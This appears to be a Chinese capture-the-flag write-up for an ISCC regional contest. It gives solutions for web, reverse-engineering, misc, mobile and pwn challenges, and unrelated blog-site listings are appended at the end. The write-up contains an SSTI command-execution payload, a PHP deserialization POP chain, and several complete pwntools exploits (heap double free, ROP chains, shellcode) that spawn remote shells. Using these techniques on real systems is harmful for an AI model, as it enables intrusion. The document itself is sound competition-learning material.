ISCC区域赛wp
ISCC区域
Web
哪吒的试炼
根据吃藕猜测要传参food
/?food=lotus root
来到下一关
f12看源码 发现disable,把这个属性删掉
<?php
if (isset($_POST['nezha'])) {
$nezha = json_decode($_POST['nezha']);
$seal_incantation = $nezha->incantation;
$md5 = $nezha->md5;
$secret_power = $nezha->power;
$true_incantation = "I_am_the_spirit_of_fire";
$final_incantation = preg_replace(
"/" . preg_quote($true_incantation, '/') . "/", '',
$seal_incantation
);
if ($final_incantation === $true_incantation && md5($md5) == md5($secret_power) && $md5 !== $secret_power) {
show_flag();
} else {
echo "<p>封印的力量依旧存在,你还需要再试试!</p>";
}
} else {
echo "<br><h3>夜色渐深,风中传来隐隐的低语……</h3>";
echo "<h3>只有真正的勇者才能找到破局之法。</h3>";
}
?>
import requests
import json
url = "http://112.126.73.173:9999/isflag.php" # 替换为实际URL
# 构造请求数据
data = {
'nezha': json.dumps({
'incantation': 'I_am_theI_am_the_spirit_of_fire_spirit_of_fire',
'md5': 'QNKCDZO',
'power': '240610708'
})
}
# 发送POST请求
response = requests.post(url, data=data)
# 输出响应
print(response.text)
字谜题,日为sun,月为moon
ISCC{suetsueergwooniwwoooowsilrow}
回归基本功
访问/Q2rN6h3YkZB9fL5j2WmX.php
<?php
show_source(__FILE__);
include('E8sP4g7UvT.php');
$a=$_GET['huigui_jibengong.1'];
$b=$_GET['huigui_jibengong.2'];
$c=$_GET['huigui_jibengong.3'];
$jiben = is_numeric($a) and preg_match('/^[a-z0-9]+$/',$b);
if($jiben==1)
{
if(intval($b) == 'jibengong')
{
if(strpos($b, "0")==0)
{
echo '基本功不够扎实啊!';
echo '<br>';
echo '还得再练!';
}
else
{
$$c = $a;
parse_str($b,$huiguiflag);
if($huiguiflag[$jibengong]==md5($c))
{
echo $flag;
}
else{
echo '基本功不够扎实啊!';
echo '<br>';
echo '还得再练!';
}
}
}
else
{
echo '基本功不够扎实啊!';
echo '<br>';
echo '还得再练!';
}
}
else
{
echo '基本功不够扎实啊!';
echo '<br>';
echo '还得再练!';
}
?> 基本功不够扎实啊!
还得再练!
满足is_numeric
huigui[jibengong.1=0
看b
jibengong为0,intval('+0=...')
结果为 0,不以 0 开头,满足 strpos
检查,huigui[jibengong.2=+0
对应变量 $c
执行 $$c = $a
后,创建变量 $jibengong = 0
md5('jibengong')的结果是 e559dcee72d03a13110efe9b6355b30d,与 $huiguiflag[0]
相等
?huigui[jibengong.1=0&huigui[jibengong.2=+0=e559dcee72d03a13110efe9b6355b30d&huigui[jibengong.3=jibengong
ShallowSeek
0@_cu_5_1r3lw@y5wn5!}
然后来到室友带饭问题
ShallowSeek的好朋友AJAX好想要个头啊,X开头的最好了
加一个最常见的AJAX请求头
X-Requested-With:XMLHttpRequest
还需要一个参数,应该是cookie
ISCC{0p3n0@_cu_5_1r3lw@y5wn5!}
十八铜人阵
f12看到源码
佛曰解密
然后一个个解密
听声辩位 西南方 东南方 北方 西方 东北方 东方 探本穷源
可以发现原页面是只有5个输入框
但我们抓包后发现
但是发现这样还是不对
我们尝试将最后一个改为get的参数
然后得到一个session
你过关!
kGf5tN1yO8M
这样就能拿到flag了吗?
住持提出了新的要求:去闯下一关吧!闯过下一关就能拿到flag
观察上图的路由是听声辩位
反着念的拼音
下一个路由大概是探本穷原
/nauygnoiqnebnat
是SSTI无回显注入
?a1=__globals__&a2=__getitem__&a3=os&a4=popen&a5=cat kGf5tN1yO8M&a6=read
yongzheng={{lipsum|attr(request.args.a1)|attr(request.args.a2)(request.args.a3)|attr(request.args.a4)((request.args.a5))|attr(request.args.a6)()}}
其中kGf5tN1yO8M
是上面提示中的文件
ISCC{%qP4L!meaO3T$&_yDRw*}
想犯大吴疆土吗
先去前端页面改掉这个style,可以出现第四件
然后就可以得到一个php源码文件
<?php
if (!isset($_GET['xusheng'])) {
?>
<html>
<head><title>Reward</title></head>
<body style="font-family:sans-serif;text-align:center;margin-top:15%;">
<h2>想直接拿奖励?</h2>
<h1>尔要试试我宝刀是否锋利吗?</h1>
</body>
</html>
<?php
exit;
}
error_reporting(0);
ini_set('display_errors', 0);
?>
<?php
// 犯flag.php疆土者,盛必击而破之!
class GuDingDao {
public $desheng;
public function __construct() {
$this->desheng = array();
}
public function __get($yishi) {
$dingjv = $this->desheng;
$dingjv();
return "下次沙场相见, 徐某定不留情";
}
}
class TieSuoLianHuan {
protected $yicheng;
public function append($pojun) {
include($pojun);
}
public function __invoke() {
$this->append($this->yicheng);
}
}
class Jie_Xusheng {
public $sha;
public $jiu;
public function __construct($secret = 'reward.php') {
$this->sha = $secret;
}
public function __toString() {
return $this->jiu->sha;
}
public function __wakeup() {
if (preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->sha)) {
echo "你休想偷看吴国机密";
$this->sha = "reward.php";
}
}
}
echo '你什么都没看到?那说明……有东西你没看到<br>';
if (isset($_GET['xusheng'])) {
@unserialize($_GET['xusheng']);
} else {
$a = new Jie_Xusheng;
highlight_file(__FILE__);
}
// 铸下这铁链,江东天险牢不可破!
整体思路就是先反序列化的时候会触发Jie_Xusheng的__wakeup;然后sha是个对象,在 $this->sha = "reward.php";
在这一步时触发jie_Xusheng的tostring;在tostring中return $this->jiu->sha;
,调用了一个未定义的属性,则会触发GuDingDao的get;在get方法中$dingjv = $this->desheng;$dingjv();
,以调用函数的方式调用一个对象,就触发了TieSuoLianHuan的invoke;invoke中存在append函数,即为我们最后要文件包含的函数(即flag.php)
O%3A11%3A"Jie_Xusheng"%3A2%3A%7Bs%3A3%3A"sha"%3BO%3A11%3A"Jie_Xusheng"%3A2%3A%7Bs%3A3%3A"sha"%3Bs%3A10%3A"reward%2Ephp"%3Bs%3A3%3A"jiu"%3BO%3A9%3A"GuDingDao"%3A1%3A%7Bs%3A7%3A"desheng"%3BO%3A14%3A"TieSuoLianHuan"%3A1%3A%7Bs%3A10%3A"%00%2A%00yicheng"%3Bs%3A8%3A"flag%2Ephp"%3B%7D%7D%7Ds%3A3%3A"jiu"%3BN%3B%7D
但这里存在脑洞,把GuDingDao的o换成0
O%3A11%3A%22Jie%5FXusheng%22%3A2%3A%7Bs%3A3%3A%22sha%22%3BO%3A11%3A%22Jie%5FXusheng%22%3A2%3A%7Bs%3A3%3A%22sha%22%3Bs%3A10%3A%22reward%2Ephp%22%3Bs%3A3%3A%22jiu%22%3BO%3A9%3A%22GuDingDa0%22%3A1%3A%7Bs%3A7%3A%22desheng%22%3BO%3A14%3A%22TieSuoLianHuan%22%3A1%3A%7Bs%3A10%3A%22%00%2A%00yicheng%22%3Bs%3A8%3A%22flag%2Ephp%22%3B%7D%7D%7Ds%3A3%3A%22jiu%22%3BN%3B%7D
RE
faze
断点调试后进入v9
ISCC{(O[&aGRS7@re}
greeting
from ida_bytes import * # 导入IDA Pro的字节操作模块
enc=list(get_bytes(0x014001B390,16)) # 从指定地址读取16字节数据并转为列表
def ror8(value,count): # 定义循环右移函数,处理单字节数据
value&=0xFF # 确保输入是8位无符号整数
count%=8 # 确保移位数在0-7范围内
return ((value>>count)|(value<<(8-count)))&0xFF # 执行循环右移操作并返回结果
for i in range(len(enc)): # 遍历读取的每个字节
enc[i]=ror8(enc[i],i%5) # 对当前字节进行循环右移,位移量为索引模5
enc[i]^=(0x5a+i) # 将处理后的字节与递增的常量进行异或操作
print("".join(map(chr,enc))) # 将解密后的字节列表转为字符串并打印
SecretGrid
这里是题目的关键
import os
# 定义输入数据
input_data = [
46, 1, 26, 125, 62, 16, 6, 22, 57, 0,
27, 91, 26, 26, 18, 80, 53, 62, 79, 58,
75, 52, 46, 63, 19, 49, 39, 0, 38, 43, 28
]
def encrypt_bytes(data: list) -> list:
"""
根据特定规则对输入字节进行加密
加密规则:
- 偶数索引位置:输入字节 ^ (密钥字节 + 2)
- 能被3整除的索引位置:输入字节 ^ (密钥字节 + 5)
- 其他位置:输入字节 ^ 密钥字节
"""
# 从环境变量获取密钥或使用默认值
secret_key = os.environ.get("SECRET_KEY", "ISCC{s_ale_ru_upatu_prrlaullre_}")
key_bytes = [ord(c) for c in secret_key]
# 初始化结果列表
encrypted = [0] * len(data)
# 应用加密规则
for i, byte in enumerate(data):
if i % 2 == 0:
encrypted[i] = byte ^ (key_bytes[i] + 2)
elif i % 3 == 0:
encrypted[i] = byte ^ (key_bytes[i] + 5)
else:
encrypted[i] = byte ^ key_bytes[i]
return encrypted
# 执行加密
encrypted_data = encrypt_bytes(input_data)
# 转换为字符串并输出
result = ''.join(chr(byte) for byte in encrypted_data)
print(result)
misc
取证分析
binwalk一下
得到一串密文
binwalk一下hint.zip
去爆破里面zip的密码
bfs775
Alphabet.txt
(2,10) (4,8) (2,4) (3,4) (11,13) (2,11) (1,1) (10,26) (5,6) (5,9)
杨辉三角是一种经典的数学数表,以中国古代数学家杨辉的名字命名。它是一个三角形数组,其中每个数字都是其上方两个数字的和。杨辉三角在组合数学、概率论和二项式定理等领域有广泛应用
hint.txt
rxms{ husqzqdq oubtqd }
但是发现不对,应该是提醒我们用维吉尼亚解密
杨辉三角二元组每个求和映射到字母表是密钥IICCNJAYER
ISCC{obwkvjyzkyzg}
返校之路
首先打开part1.zip
发现
为伪加密,修改后显示如图
由于附件二有密码猜测为掩码攻击,尝试后有
即可打开后发现,图一图二为地铁站,朝阳站和魏公村站,3.jpg有备注提示
根据图片发现为3104(其他可能尝试后发现不正确)后面发现这是flag part2
只有图片2为png格式放入解密软件可见
flag_is_KJCTC5TCKVWFGY2XKU6Q====显示为32,依次进行base32解码,base64解码后得出答案
part1
拼接上述的part2
套上ISCC{}即可。
即为ISCC{DMomIRqe3104}
签个到吧
先去尝试binwalk一下
import matplotlib.pyplot as plt
import cv2
import numpy as np
from PIL import Image
src_img = cv2.imread("C:\\Users\\26387\\Desktop\\0001_30.png")
def arnold_transform(img_data, iter_count, param_a, param_b):
transformed_img = np.zeros(shape=img_data.shape)
height, width = img_data.shape[0], img_data.shape[1]
matrix_size = height
for iter_idx in range(iter_count):
for x_ori in range(height):
for y_ori in range(width):
x_new = ((param_a * param_b + 1) * x_ori + (-param_b) * y_ori) % matrix_size
y_new = ((-param_a) * x_ori + y_ori) % matrix_size
transformed_img[x_new, y_new, :] = img_data[x_ori, y_ori, :]
cv2.imwrite('C:\\Users\\26387\\Desktop\\flag_transformed.png', transformed_img, [int(cv2.IMWRITE_PNG_COMPRESSION), 0])
return transformed_img
arnold_transform(src_img, 1, 1, -2)
然后再进行灰度反转,并两个图合并
签到成功bqoJIQxpugxZ
[]{#br1 .anchor}
big-doro+钟志颖+2638726415@qq.com
睡美人
首先打开附件图片
明显为base64解码,输入解码得到
base64:UGFzc3dvcmQgPSBzdW0oUilfc3VtKEcpX3N1bShCKQ==
解码 :Password = sum(R)_sum(G) _sum(B)
有了密码考虑是否有附件,用binwalk提取附件得到了一个加密的zip文件
密码考虑上述所说,先考虑图片中每个颜色的数量总和
使用脚本如下
from PIL import Image
# 打开图片并转换为 RGB 模式(避免透明度干扰)
img = Image.open("Sleeping_Beauty_30.png").convert("RGB")
pixels = list(img.getdata()) # 获取所有像素的 RGB 值
sum_r = sum_g = sum_b = 0
for r, g, b in pixels:
sum_r += r
sum_g += g
sum_b += b
# 生成密码格式:sum(R)_sum(G)_sum(B)
password = f"{sum\_r}_{sum_g}_{sum_b}"
print("计算出的 ZIP 密码:", password)
尝试登录,显示错误。
观察题面
红红红红红红绿绿绿蓝
6:3:1
考虑加权
print(sum_r*0.6+sum_g*0.3+0.1*sum_b)
得出答案1375729349.6
解密后发现一段音频。用audacity打开发现
上网搜索发现为曼彻斯特编码。
即此段代码为
010100110110100001110010011011110111010101100100
解码后为Shroud
套上ISCC{}即可
ISCC{Shroud}
Mobile
Detective
放到jadx里
然后使用脚本
def _hex_from_cipher(cipher: str) -> str:
hex_str = ''.join(f'{ord(ch):04x}' for ch in cipher)
return hex_str[2:] if hex_str.startswith('00') else hex_str
def _undo_padding(hex_str: str) -> str:
if len(hex_str) % 4 == 2:
hex_str += '00'
return ''.join(hex_str[i:i+2] for i in range(0, len(hex_str), 4))
def _undo_pair_shuffle(replaced: str) -> str:
out, i = [], 0
while i < len(replaced):
if i + 3 < len(replaced) and replaced[i+2:i+4] == '21':
c2, c1 = replaced[i], replaced[i+1]
out.extend([c1, c2])
i += 4
else:
out.extend(replaced[i:i+2])
i += 2
return ''.join(out)
def _split_and_fix_zero(concat: str) -> str:
half = len(concat) // 2
sb2, sb = concat[:half], concat[half:]
sb = ''.join('0' if ch == '3' and (idx == 0 or idx % 3 == 0) else ch for idx, ch in enumerate(sb))
sb2 = ''.join('0' if ch == '3' and (idx == 1 or (idx-1) % 3 == 0) else ch for idx, ch in enumerate(sb2))
res = []
even = odd = 0
for idx in range(len(concat)):
if idx % 2 == 0:
res.append(sb[even])
even += 1
else:
res.append(sb2[odd])
odd += 1
return ''.join(res)
def _hex_to_plain(hex_str: str) -> str:
out, i = [], 0
while i < len(hex_str):
if hex_str[i] == '0' and i + 2 < len(hex_str):
out.append(chr(int(hex_str[i+1:i+3], 16)))
i += 3
else:
out.append(chr(int(hex_str[i:i+4], 16)))
i += 4
return ''.join(out)
def decrypt(cipher: str) -> str:
step1 = _hex_from_cipher(cipher)
step2 = _undo_padding(step1)
step3 = _undo_pair_shuffle(step2)
step4 = _split_and_fix_zero(step3)
return _hex_to_plain(step4)
if __name__ == "__main__":
xor_key = [0x53, 0x68, 0x65, 0x72, 0x6C, 0x6F, 0x63, 0x6B]
res = "005044402F2F4250600B524E5F59"
res_chr = [int(res[i:i+2], 16) for i in range(0, len(res), 2)]
flag = [res_chr[i] ^ xor_key[i % len(xor_key)] for i in range(len(res_chr))]
sample = bytes(flag).decode()
print("Cipher :", sample)
print("Plain :", decrypt(sample))
ISCC{Sh3rL0Ck}
PWN
program
from pwn import *
# 设置libc路径和远程连接信息
libc = ELF("C:\\Users\\26387\\Desktop\\ISCC区域\\pwn2\\attachment-23.so")
io = remote('101.200.155.151', 12300)
# 封装菜单操作函数
def add(index, size):
io.sendlineafter(b'choice:\n', b'1')
io.sendlineafter(b'index:\n', str(index).encode())
io.sendlineafter(b'size:\n', str(size).encode())
def delete(index):
io.sendlineafter(b'choice:\n', b'2')
io.sendlineafter(b'index:\n', str(index).encode())
def edit(index, length, content):
io.sendlineafter(b'choice:\n', b'3')
io.sendlineafter(b'index', str(index).encode())
io.sendlineafter(b'length:\n', str(length).encode())
io.sendafter(b'content:\n', content)
def show(index):
io.sendlineafter(b'choice:\n', b'4')
io.sendlineafter(b'index:\n', str(index).encode())
# 第一阶段:泄露libc基址
for i in range(9):
add(i, 0x200) # 分配9个大chunk
for i in range(7):
delete(i) # 释放前7个chunk进入unsorted bin
delete(7) # 释放第8个chunk
show(7) # 触发show获取libc泄露
libc_base = u64(io.recv(6).ljust(8, b'\x00')) - 0x1ecbe0 # 计算libc基址
libc.address = libc_base # 设置libc基址
log.success(f"Libc base address: {hex(libc_base)}")
# 第二阶段:准备堆布局
for i in range(8):
add(i, 0x200) # 重新分配8个大chunk
for i in range(9):
add(i, 0x40) # 分配9个小chunk
for i in range(2, 9):
delete(i) # 释放索引2-8的小chunk
delete(0) # 释放索引0的小chunk
delete(1) # 释放索引1的小chunk
delete(0) # 再次释放索引0的小chunk,形成double free
# 第三阶段:利用double free
for i in range(2, 9):
add(i, 0x40) # 重新分配索引2-8的小chunk
add(2, 0x40) # 分配新的chunk
edit(2, 0x16, p64(libc.sym['__free_hook'])) # 写入free_hook地址
add(0, 0x40) # 分配chunk
add(0, 0x40) # 分配chunk
add(0, 0x40) # 分配chunk
edit(0, 0x20, p64(libc.sym['system'])) # 写入system函数地址
# 触发system("/bin/sh")
pause() # 方便调试
edit(3, 0x20, b'/bin/sh\x00') # 写入/bin/sh字符串
delete(3) # 触发free,执行system("/bin/sh")
io.interactive() # 获取shell交互
Fufu
利用格式化字符串漏洞泄露pie、canary,即第17个和第25个参数,同时puts函数的真实地址,计算libc基址
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
# 设置日志级别为调试模式,这样可以看到详细的交互信息
context.log_level = 'debug'
# 连接到远程服务器
conn = remote('101.200.155.151', 12600)
# 第一阶段:泄露栈金丝雀值
conn.recvuntil(b'Furina: Your choice? >> ')
conn.sendline(b'1') # 选择选项1
conn.recvuntil(b'Furina: Time is limited! >> ')
conn.sendline(b'2147483648') # 发送一个较大的数值
conn.recvuntil(b'Furina: Present your evidence! >> ')
conn.sendline(b"%17$p") # 利用格式化字符串漏洞泄露第17个参数(栈金丝雀)
# 接收并解析栈金丝雀值
canary_hex_str = conn.recv(18).strip()
stack_canary = int(canary_hex_str, 16)
print(f"栈金丝雀值: {hex(stack_canary)}")
conn.recvuntil(b'hcy want to eat chicken! >> ')
conn.sendline(b'1') # 继续选择选项1
# 第二阶段:泄露程序基址(PIE)
conn.recvuntil(b'Furina: Your choice? >> ')
conn.sendline(b'1') # 再次选择选项1
conn.recvuntil(b'Furina: Time is limited! >> ')
conn.sendline(b'2147483648') # 发送相同的较大数值
conn.recvuntil(b'Furina: Present your evidence! >> ')
conn.sendline(b"%25$p") # 利用格式化字符串漏洞泄露第25个参数(main函数地址)
# 接收并解析main函数地址,计算程序基址
main_addr_hex_str = conn.recv(14).strip()
main_addr = int(main_addr_hex_str, 16)
pie_base = main_addr - 0x1338 # 根据偏移量计算程序基址
print(f"程序基址(PIE): {hex(pie_base)}")
conn.recvuntil(b'hcy want to eat chicken! >> ')
conn.sendline(b'1') # 继续选择选项1
# 计算各种GOT和PLT表地址以及ROP gadgets地址
ret_gadget = 0x000000000000101a + pie_base # 用于栈对齐的ret指令地址
pop_rdi_gadget = 0x000000000000132f + pie_base # 用于设置puts函数参数的pop rdi; ret指令地址
puts_got_entry = 0x3fa0 + pie_base # puts函数的GOT表条目地址
puts_plt_entry = 0x1030 + pie_base # puts函数的PLT表条目地址
# 第三阶段:泄露libc基址
conn.recvuntil(b'Furina: Your choice? >> ')
conn.sendline(b'2') # 选择选项2
conn.recvuntil(b'Furina: The trial is adjourned')
# 构造ROP链,调用puts函数打印puts的GOT表条目,然后返回main函数
rop_chain = cyclic(0x48) # 填充缓冲区
rop_chain += p64(stack_canary) # 恢复栈金丝雀值
rop_chain += p64(0x0) # 填充rbp
rop_chain += p64(pop_rdi_gadget) # 设置puts函数的参数(puts的GOT表条目地址)
rop_chain += p64(puts_got_entry) # puts函数的参数
rop_chain += p64(puts_plt_entry) # 调用puts函数
rop_chain += p64(main_addr) # 返回到main函数,以便进行第二次利用
conn.sendline(rop_chain) # 发送ROP链
# 接收并解析puts函数的真实地址,计算libc基址
conn.recv(1) # 接收第一个字节
puts_real_addr_bytes = conn.recv(6) # 接收puts函数地址的6个字节
puts_real_addr = int.from_bytes(puts_real_addr_bytes.ljust(8, b'\x00'), 'little') # 转换为整数
libc_base = puts_real_addr - 0x080e50 # 根据puts函数的偏移量计算libc基址
print(f"libc基址: {hex(libc_base)}")
# 计算system函数和/bin/sh字符串的地址
bin_sh_addr = 0x1d8678 + libc_base # /bin/sh字符串在libc中的地址
system_addr = 0x050d70 + libc_base # system函数在libc中的地址
# 第四阶段:获取shell
conn.recvuntil(b'Furina: Your choice? >> ')
conn.sendline(b'2') # 再次选择选项2
conn.recvuntil(b'Furina: The trial is adjourned')
# 构造最终的ROP链,调用system("/bin/sh")
rop_chain = cyclic(0x48) # 填充缓冲区
rop_chain += p64(stack_canary) # 恢复栈金丝雀值
rop_chain += p64(ret_gadget) * 2 # 栈对齐,避免因栈对齐问题导致的崩溃
rop_chain += p64(pop_rdi_gadget) # 设置system函数的参数(/bin/sh字符串地址)
rop_chain += p64(bin_sh_addr) # system函数的参数
rop_chain += p64(system_addr) # 调用system函数
conn.sendline(rop_chain) # 发送ROP链
# 进入交互模式,获取shell
conn.interactive()
ISCC{832ad2b3-051e-4407-b86f-9f478e02d806}
mutsumi
这是一题vm
程序使用__isoc99_scanf读入时并没有长度限制,所以存在溢出
from pwn import *
# 设置上下文环境,启用调试日志并指定架构为amd64
context(log_level='debug', arch='amd64')
# 连接到远程服务器
p = remote("101.200.155.151", 12800)
# 定义角色字典,将索引映射到对应的角色名称字节串
roles = {0: b'tomorin', 1: b'rikki', 2: b'anon', 3: b'soyorin'}
def insert_data(character, content=b'saki', pointer=b'to'):
"""
向目标程序插入数据的函数
参数:
character: 角色名称字节串
content: 要发送的内容数据,默认为b'saki'
pointer: 指针值,默认为b'to'
"""
# 发送数据行,格式为"内容,ido"
p.sendline(content + b',ido')
# 发送指针值
p.sendline(pointer)
# 如果指针值为b'to',还需要发送角色名称
if pointer == b'to':
p.sendline(character)
def bytes_to_int(value_bytes):
"""将字节串按小端序转换为整数并转为字符串"""
return str(int.from_bytes(value_bytes, byteorder='little'))
# 定义要发送的shellcode片段列表
shellcode_parts = [
b"\x34\x3b\x90\x90", # 第1部分shellcode
b"\x66\xbb\x73\x68", # 第2部分shellcode
b"\x48\xc1\xe3\x10", # 第3部分shellcode
b"\x66\xbb\x6e\x2f", # 第4部分shellcode
b"\x48\xc1\xe3\x10", # 第5部分shellcode
b"\x66\xbb\x62\x69", # 第6部分shellcode
b"\x48\xc1\xe3\x08", # 第7部分shellcode
b"\x66\xbb\x2f\x62", # 第8部分shellcode
b"\x53\x90\x90\x90", # 第9部分shellcode
b"\x89\xe7\x90\x90", # 第10部分shellcode
b"\x0f\x05\x90\x90", # 第11部分shellcode
]
# 逐个发送shellcode片段
for part in shellcode_parts:
# 先发送初始化数据
insert_data(roles[0], pointer=b"1")
# 再发送shellcode片段的数值表示
insert_data(roles[0], pointer=bytes_to_int(part))
# 发送终止命令
p.sendline(b'saki,stop')
# 进入交互模式,允许用户与远程程序进行交互
p.interactive()
ISCC{868ae0fd-ff5c-48bb-bf8d-65942b22c8ee}
genius
一题rop题
- 利用缓冲区溢出漏洞泄露栈 canary 值
- 构造 ROP 链,包含恢复的 canary、栈对齐指令和执行 system ("/bin/sh") 所需的指令序列
- 触发溢出,执行 ROP 链,最终获取 shell
# 导入pwntools库,用于二进制漏洞利用开发
from pwn import *
# 设置日志级别为debug,以便显示详细的交互信息
context.log_level = 'debug'
# 连接到远程服务器,地址为101.200.155.151,端口为12000
p = remote("101.200.155.151", 12000)
# 接收直到遇到"you are a genius,yes or no?"提示
p.recvuntil(b"you are a genius,yes or no?")
# 发送"no"作为响应
p.sendline(b"no")
# 接收直到遇到"Sir, don't be so modest."提示
p.recvuntil(b"Sir, don't be so modest.")
# 发送"thanks"作为响应
p.sendline(b"thanks")
# 接收直到遇到"what you want in init"提示
p.recvuntil(b"what you want in init")
# 发送24字节的cyclic pattern用于溢出缓冲区
p.sendline(cyclic(0x18))
# 接收直到换行符,丢弃之前的输出
p.recvuntil(b"\x0a")
# 从响应中提取7字节的canary值(缺少最后一个字节)
canary = u64(p.recv(7).ljust(8, b'\x00'))
# 恢复canary的最后一个字节(通常为0x00)
canary = (canary << 8) | 0x00
# 打印泄露的canary值
log.info("leak: " + hex(canary))
# 定义ROP链所需的地址
# ret指令地址,用于栈对齐
ret = 0x000000000040101a
# pop rdi; ret 指令地址,用于设置system函数的第一个参数
pop_rdi = 0x00000000004013f3
# 字符串"/bin/sh"的地址
bin_sh = 0x402004
# system函数的地址
system = 0x401050
# 构造ROP链
# 前24字节覆盖缓冲区
# 接下来8字节放置泄露的canary值
# 再接下来8字节填充0(覆盖saved rbp)
# ret地址用于栈对齐(解决某些系统的栈对齐要求)
# pop_rdi地址用于将"/bin/sh"地址放入rdi寄存器
# "/bin/sh"字符串地址作为system函数的参数
# system函数地址,执行system("/bin/sh")
rop = cyclic(0x18) + p64(canary) + p64(0x0) + p64(ret) + p64(pop_rdi) + p64(bin_sh) + p64(system)
# 发送构造好的ROP链
p.sendline(rop)
# 进入交互模式,获取shell
p.interactive()
ISCC区域赛wp的更多相关文章
- HDU5558 Alice's Classified Message(合肥区域赛 后缀数组)
当初合肥区域赛的题(现场赛改了数据范围就暴力过了),可惜当初后缀数组算法的名字都没听过,现在重做下. i从1到n - 1,每次枚举rank[i]附近的排名,并记录当起点小于i时的LCP(rank[i] ...
- 36th成都区域赛网络赛 hdoj4039 The Social Network(建图+字符串处理)
这题是某年成都区域赛网络赛的一题. 这题思路非常easy,可是从时间上考虑,不妨不要用矩阵存储,我用的链式前向星. 採用线上查询.利用map对字符串编号,由于非常方便.要推荐的朋友,事实上就是朋友的朋 ...
- 【2013南京区域赛】部分题解 hdu4802—4812
上周末打了一场训练赛,题目是13年南京区域赛的 这场题目有好几个本来应该是我擅长的,但是可能是太久没做比赛了各种小错误代码写的也丑各种warusn trush搞得人很不爽 全场题之一的1002也没有想 ...
- hdu5080:几何+polya计数(鞍山区域赛K题)
/* 鞍山区域赛的K题..当时比赛都没来得及看(反正看了也不会) 学了polya定理之后就赶紧跑来补这个题.. 由于几何比较烂写了又丑又长的代码,还debug了很久.. 比较感动的是竟然1Y了.. * ...
- 2014年亚洲区域赛北京赛区现场赛A,D,H,I,K题解(hdu5112,5115,5119,5220,5122)
转载请注明出处: http://www.cnblogs.com/fraud/ ——by fraud 下午在HDU上打了一下今年北京区域赛的重现,过了5题,看来单挑只能拿拿铜牌,呜呜. ...
- 【转】2014区域赛小结(牡丹江&&鞍山)by kuangbin
Posted on 2014年10月20日 by kuangbin 最后的两场区域赛结束了! ICPC生涯的最后两场区域赛,选择了前两个赛区——牡丹江和鞍山,主要是时间比较靠前,而且我向来对东北赛区有 ...
- 2014ACM/ICPC亚洲区域赛牡丹江站汇总
球队内线我也总水平,这所学校得到了前所未有的8地方,因为只有两个少年队.因此,我们13并且可以被分配到的地方,因为13和非常大的数目.据领队谁oj在之上a谁去让更多的冠军.我和tyh,sxk,doub ...
- 2015 ACM / ICPC 亚洲区域赛总结(长春站&北京站)
队名:Unlimited Code Works(无尽编码) 队员:Wu.Wang.Zhou 先说一下队伍:Wu是大三学长:Wang高中noip省一:我最渣,去年来大学开始学的a+b,参加今年区域赛之 ...
- 2015年ACM长春区域赛比赛感悟
距离长春区域赛结束已经4天了,是时候整理一下这次比赛的点点滴滴了. 也是在比赛前一周才得到通知要我参加长春区域赛,当时也是既兴奋又感到有很大的压力,毕竟我的第一场比赛就是区域赛水平,还是很有挑战性的. ...
- 2018.11.25 AMC-ICPC 亚洲区域赛(焦作站)吊银
11月23日 大清早,跟着wyb的脚步,早起跑过去听方伟的编译原理,然鹅一点都没听进去,在焦作胡辣汤群里疯狂灌水... 听说焦作那边冷得不行,前一天看天气预报说那边已经是2℃了,都快零下了,然鹅学校里 ...
随机推荐
- kalibr标定单相机,自用指南,防忘记
1. 标定环境 1.1 从源码编译(linux环境,建议ubuntu 18或20) 步骤见 kalibr wiki 1.2 Docker 如果实体机为Ubuntu,则见official docker ...
- Task VS ValueTask
在 C# 中,异步编程是构建响应式应用程序的基础.Task 是表示异步操作的首选类型.但是,在某些高性能场景中,与 Task 相关的开销可能会达到一个瓶颈.ValueTask 是 .NET Core ...
- day1-简介与下载
为什么创造了golang? 计算机硬件技术更新频繁,不能合理运用多核多CPU的的优势 目前市场缺乏一款简洁高效的编程语言 c++.c运行速度很快,但存在内存泄漏的问题 go语言特点 既做到了静态语言的 ...
- 【2022_12_2】Fibersim安装记录
Fibersim 安装记录 1. 为什么要写这个文章? 因为我前前后后装了四天才装成功.在我的电脑上,fibersim14 16 17 15 挂到UG10 12 CatiaV5-6R2019 2018 ...
- mysql CONFLICT 冲突
1.IGNORE 当使用INSERT语句向表中添加一些行数据并且在处理期间发生错误时,INSERT语句将被中止,并返回错误消息.因此,可能不会向表中没有插入任何行.但是,如果使用INSERT INGO ...
- 执行Django 的迁移命令报错[1193, Unknown system variable default_storage_engine]
在学习""编写你的第一个 Django 应用程序,第2部分"时候,遇到一个问题. 执行迁移命令 python manage.py makemigrations polls ...
- 通过局域网访问连接 vite 或 Django 之类的项目
博客地址:https://www.cnblogs.com/zylyehuo/ step1 将 vite 或 Django 类的项目启动 ip 设置为 0.0.0.0:端口 step2 查询本机电脑在当 ...
- Netty源码—6.ByteBuf原理一
大纲 1.关于ByteBuf的问题整理 2.ByteBuf结构以及重要API 3.ByteBuf的分类 4.ByteBuf分类的补充说明 5.ByteBuf的主要内容分三大方面 6.内存分配器Byte ...
- [源码系列:手写spring] IOC第五节:Bean注入Bean
主要内容 添加BeanReference类,包装一个bean对另一个bean的引用.如beanA引用beanB,那么在实例化beanA时,如果propertyValue.value是BeanRefer ...
- verilog实现32位有符号流水乘法器
verilog实现32位有符号流水乘法器 1.4bit乘法流程 1.无符号X无符号二进制乘法器 以下为4bit乘法器流程(2X6) 0 0 0 0 0 0 1 0 (2) X 0 0 0 0 0 1 ...